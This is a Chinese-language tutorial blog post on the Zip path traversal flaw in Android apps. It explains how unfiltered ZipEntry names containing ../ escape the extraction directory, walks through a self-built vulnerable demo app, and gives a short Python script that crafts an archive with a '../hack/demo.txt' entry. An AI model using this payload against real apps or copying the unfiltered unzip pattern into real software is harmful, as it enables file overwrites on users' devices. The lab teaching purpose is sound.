漏洞实战部分2-安卓应用ZipEntry对象问题实战

安卓应用漏洞学习

本节课介绍ZipEntry对象,这个对象常用于解压压缩包操作。

// This class is used to represent a ZIP file entry.
// Author:
// David Connelly
public
class ZipEntry implements ZipConstants, Cloneable {
String name; // entry name
long xdostime = -1; // last modification time (in extended DOS time,
// where milliseconds lost in conversion might
// be encoded into the upper half)
FileTime mtime; // last modification time, from extra field data
FileTime atime; // last access time, from extra field data
FileTime ctime; // creation time, from extra field data
long crc = -1; // crc-32 of entry data
long size = -1; // uncompressed size of entry data
long csize = -1; // compressed size of entry data
int method = -1; // compression method
int flag = 0; // general purpose flag
byte[] extra; // optional extra field data for entry
String comment; // optional comment string for entry
// Android-added: Add dataOffset for internal use.
// Used by android.util.jar.StrictJarFile from frameworks.
long dataOffset;

注释说明这个类对象是操作ZIP 文件的,App中Zip解压缩操作是最容易出差的地方。 常用的代码格式如下:

FileInputStream fileinputstream = new FileInputStream("/sdcard/case2.zip");
ZipInputStream zipInputStream = new ZipInputStream(fileinputstream);
ZipEntry zipEntry;
while ((zipEntry = zipInputStream.getNextEntry()) != null) {
...

代码以流的形式读取文件再转为ZipEntry操作对象.其中zipEntry.getName()函数是获取压缩文件的文件名。当存在一个文件名包含../../../时,zipEntry.getName()也一并返回.如果后面没有过滤../那么继续执行就会目录穿越出去。

实战案例: 为了学习这个漏洞,我实现了一个App,通过这个App来理解利用。

功能: App只有一个功能,接收zip包文件路径。

代码: App启动时再私有目录下创建两个目录tmp、hack,正常的zip包传给App是无法解压到hack目录下。

image

image

创建一个带../的压缩包构造好穿越路径,使App解压包到hack目录下。

image

image

这里提供一个python脚本,用这个脚本可以生成包含../../的压缩文件。

import zipfile

if __name__ == "__main__":
try:
binary = 'hello hack'
zipFile = zipfile.ZipFile("case2.zip","a",zipfile.ZIP_DEFLATED)
zipfile.ZipInfo("case2.zip")
zipFile.writestr("../hack/demo.txt",binary)
zipFile.close()

except IOError as e:
raise e

将生成的case2.zip push到手机设备或模拟器中的/sdcard/目录下。 启动case2.apk 输入 /sdcard/case2.zip 完成

 


 

 

 

关注微信公众号或者可以直接加作者微信:

 

 

 

 

 

posted @ 2022-12-18 15:30  syscallwww  阅读(146)  评论(0编辑  收藏  举报